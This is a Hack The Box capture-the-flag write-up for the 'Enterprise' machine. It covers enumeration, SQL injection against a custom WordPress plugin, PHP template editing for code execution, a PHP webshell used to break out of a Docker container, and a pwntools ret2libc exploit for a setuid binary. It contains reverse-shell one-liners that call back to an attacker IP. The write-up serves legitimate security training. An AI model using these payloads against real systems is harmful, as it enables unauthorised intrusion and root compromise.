Enterprise Writeup

29 July 2023 #CTF #HTB #box #medium #linux

enterprise info

Enumeration

nmap

$ sudo nmap -p- 10.10.10.61
[...]
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
443/tcp   open     https
5355/tcp  filtered llmnr
8080/tcp  open     http-proxy
32812/tcp open     unknown
[...]

$ sudo nmap -p 22,80,443,8080,32812 -sC -sV 10.10.10.61
[...]
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4e98cc5b55223f4b8ced1964ac0faac (RSA)
|   256 f39a8558aad981382dea1518f78edd42 (ECDSA)
|_  256 debf116dc027e3fc1b34c04f4f6c768b (ED25519)
80/tcp    open     http     Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: USS Enterprise – Ships Log
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp   open     ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-server-header: Apache/2.4.25 (Ubuntu)
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Issuer: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-08-25T10:35:14
| Not valid after:  2017-09-24T10:35:14
| MD5:   65f7f9839ad3f32e3c7db1b521762ff8
|_SHA-1: 6b0822b518381aea0a6fb4bfa62220a99381e04a
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Ubuntu Default Page: It works
|_ssl-date: TLS randomness does not represent time
5355/tcp  filtered llmnr
8080/tcp  open     http     Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
32812/tcp open     unknown
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|     Enter Bridge Access Code: 
|     Invalid Code
|     Terminating Console
|   NULL: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|_    Enter Bridge Access Code:
[...]

SSH

We can fingerprint the OS version with the SSH banner. In this case, the host seems to be running Ubuntu 17.04 (Zesty).

HTTP

Port 80

The Server HTTP header shows that it's running on Debian, which most likely means this webserver is in some kind of container/VM.

wordpress blog

Standard Wordpress blog, the version (4.8.1) doesn't have exploits we can use and there are no interesting posts. We can enumerate users (william.riker) but that's it.

Port 443

This time, the Server header matches the SSH banner, so we can assume this webserver is running on the host.

We get the default Apache install page:

default apache install page

After some light directory bruteforcing, we find a directory with listing enabled:

files directory listing

After downloading and unziping this archive, we get 3 files. The most interesting one is lcars_db.php:

<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}

// test to retireve an ID
if (isset($_GET['query'])){
    $query = $_GET['query'];
    $sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
    $result = $db->query($sql);
    echo $result;
} else {
    echo "Failed to read query";
}
?>

It seems to be a custom Wordpress plugin. There is an obvious SQL injection since the GET parameter query is directly passed in the SQL statement.

Also note that $db->query() will return an object (or false if it fails) so trying to echo it would result in an error.

Port 8080

Like for the Wordpress site, this Joomla blog appears to be inside a container/VM.

joomla blog

We can find the version (3.7.5) in /administrator/manifests/files/joomla.xml but there are no usable exploits for this version.

Foothold

Error Based SQLi

First, we need to verify that the plugin is actually installed on the Wordpress instance. Wordpress plugins are installed in /wp-content/plugins/. We can find it at http://10.10.10.61/wp-content/plugins/lcars/:

lcars plugin

It returns a 403 Forbidden, confirming the existence of the plugin (we would get 404 if it wasn't there).

Since the code in lcars_db.php is a bit broken we have to use a Error-based technique to exfil data from the DB. We'll use sqlmap to dump the wp_posts table:

sqlmap -u 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=test' --level=5 --risk=3 --dbms=mysql -D wordpress -T wp_posts --dump --threads=10

There is a private post that leaks a few passwords:

Needed somewhere to put some passwords quickly

ZxJyhGem4k338S2Y

enterprisencc170

ZD3YxfnSjezg67JZ

u*Z14ru0p#ttj83zS6

We can login to Wordpress with william.riker:u*Z14ru0p#ttj83zS6 (admin). We can also use the SQLi to dump the Joomla DB and discover 2 users: Guinan and geordi.la.forge. We can login to Joomla with Guinan:ZxJyhGem4k338S2Y (regular user) and geordi.la.forge:ZD3YxfnSjezg67JZ (admin).

Joomla & Wordpress Admin

To execute code on the underlying server, we'll need to edit a PHP template. In the top bar, click on Extensions -> Templates -> Templates and choose a template (I'll go with protostar):

go edit themes

We'll edit the error.php file (any php file would work):

edit error.php

Save the modification and trigger the command execution:

curl 10.10.10.61:8080/templates/protostar/error.php --data-urlencode 'yep=bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"'

Same idea with Wordpress, in the left panel go to Appearance -> Editor and edit a PHP file (404.php in my case):

edit PHP source code

Get a reverse shell:

curl 10.10.10.61/wp-content/themes/twentyseventeen/404.php --data-urlencode 'yep=bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"'

Privesc

Docker Escape

Note that we need to be in the Joomla container to move on with the box.

Our assumption was correct. We are indeed in a docker container (the /.dockerenv confirms it):

www-data@a7018bfdc454:/var/www/html/templates/protostar$ ls -Al /
total 72
-rwxr-xr-x   1 root root    0 Sep  3  2017 .dockerenv
drwxr-xr-x   2 root root 4096 May 30  2022 bin
drwxr-xr-x   2 root root 4096 May 30  2022 boot
[...]

Let's take a look at what folders are mounted inside this container:

www-data@a7018bfdc454:/var/www/html/templates/protostar$ mount
[...]
/dev/mapper/enterprise--vg-root on /var/www/html/files type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[...]

There is something mounted at /var/www/html/files. Let's take a look:

www-data@a7018bfdc454:/var/www/html$ ls -Alh /var/www/html
[...]
drwxrwxrwx  2 root     root     4.0K Oct 17  2017 files
[...]
www-data@a7018bfdc454:/var/www/html$ ls -Alh /var/www/html/files
total 4.0K
-rw-r--r-- 1 root root 1.4K Oct 17  2017 lcars.zip

It seems to be the directory where we found the custom Wordpress plugin. Even though it's owned by root, everyone can write inside this directory. Let's put a simple PHP webshell:

www-data@a7018bfdc454:/var/www/html$ echo '<?php system($_REQUEST["yep"]);?>' > /var/www/html/files/shell.php

If we go back to the webserver on port 443, we can see our webshell:

put php webshell

We can use it to get a reverse shell on the host:

curl -k https://10.10.10.61/files/shell.php --data-urlencode 'yep=bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"'

ret2libc

There is a custom SETUID binary:

www-data@enterprise:/var/www/html/files$ find / -type f -perm -u=s -ls 2>/dev/null
[...]
   131074     12 -rwsr-xr-x   1 root     root          12152 Sep  8  2017 /bin/lcars

It is also the service running on port 32812 with xinetd:

www-data@enterprise:/var/www/html/files$ cat /etc/xinetd.d/lcars
service lcars
{
    type = UNLISTED
    protocol = tcp
    socket_type = stream
    port = 32812
    wait = no
    server = /bin/lcars
    user = root

}

When we run the binary, it asks us for an access code. We can find the code by running the executable with ltrace:

$ ltrace ./lcars
[...]
fgets(test
"test\n", 9, 0xf7e1e620)                                       = 0xffd9c847
strcmp("test\n", "picarda1")                                   = 1
puts("\nInvalid Code\nTerminating Consol"...

Once we enter the access code, we can choose an action from the menu:

$ ./lcars

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System

Enter Bridge Access Code:
picarda1

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System



LCARS Bridge Secondary Controls -- Main Menu:

1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault  ./lcars

It looks like there is a buffer overflow with option 4.

Let's find the offset at which point we overwrite the EIP register. I'll use gdb with the gef extension:

$ gdb lcars
[...]
gef➤  pattern create
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/yep/CTF/HTB/machines/enterprise/pwn/lcars
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc8000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System

Enter Bridge Access Code:
picarda1

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System



LCARS Bridge Secondary Controls -- Main Menu:

1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
Rerouting Tertiary EPS Junctions: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwa
Program received signal SIGSEGV, Segmentation fault.
[...]
$eip   : 0x63616164 ("daac"?)
[...]
gef➤  pattern search daac
[+] Searching for 'daac'
[+] Found at offset 308 (little-endian search) likely
[+] Found at offset 212 (big-endian search)

212 is the offset we want. Now we know we can put 212 bytes in our payload followed by an address and we will jump there.

One useful thing to note is that ASLR is disabled on the host:

www-data@enterprise:/var/www/html/files$ cat /proc/sys/kernel/randomize_va_space
0

This means that everything will be loaded at the same address each time we run the binary.

Now we need to find the address of the system() function in libc and use the buffer overflow to jump to it and execute sh.

www-data@enterprise:/var/www/html/files$ gdb /bin/lcars
[...]
(gdb) b main
Breakpoint 1 at 0xca0
(gdb) r
Starting program: /bin/lcars

Breakpoint 1, 0x56555ca0 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
(gdb) find 0xf7e32000,+5000000,"sh"     
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
warning: Unable to access 16000 bytes of target memory at 0xf7fc8485, halting search.
4 patterns found.

We have everything we need, let's write a simple exploit script:

#!/usr/bin/env python3

import struct
from pwn import *

access_code = b"picarda1"
menu_item = b"4"

eip_offset = 212

# convert addresses in little-endian representation
system_addr = struct.pack("I", 0xf7e4c060)
sh_addr = struct.pack("I", 0xf7f6ddd5)

payload = b"A" * eip_offset  # overflow the buffer
payload += system_addr       # put address of system() in EIP
payload += b"A" * 4          # return address of system() -> don't care
payload += sh_addr           # argument of system() -> address of string "sh" + null byte

r = remote("10.10.10.61", 32812)

r.recvuntil(b"Enter Bridge Access Code:")
r.sendline(access_code)
r.recvuntil(b"Waiting for input:")
r.sendline(menu_item)
r.recvuntil(b"Enter Security Override:")
r.sendline(payload)
r.interactive()

We're using pwntools to handle the IO, and we also need to convert the addresses we have to little-endian with struct.pack().

Let's run it and see if we get a shell:

$ ./exploit.py
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode

$ id
uid=0(root) gid=0(root) groups=0(root)

Nice, it worked!

Key Takeaways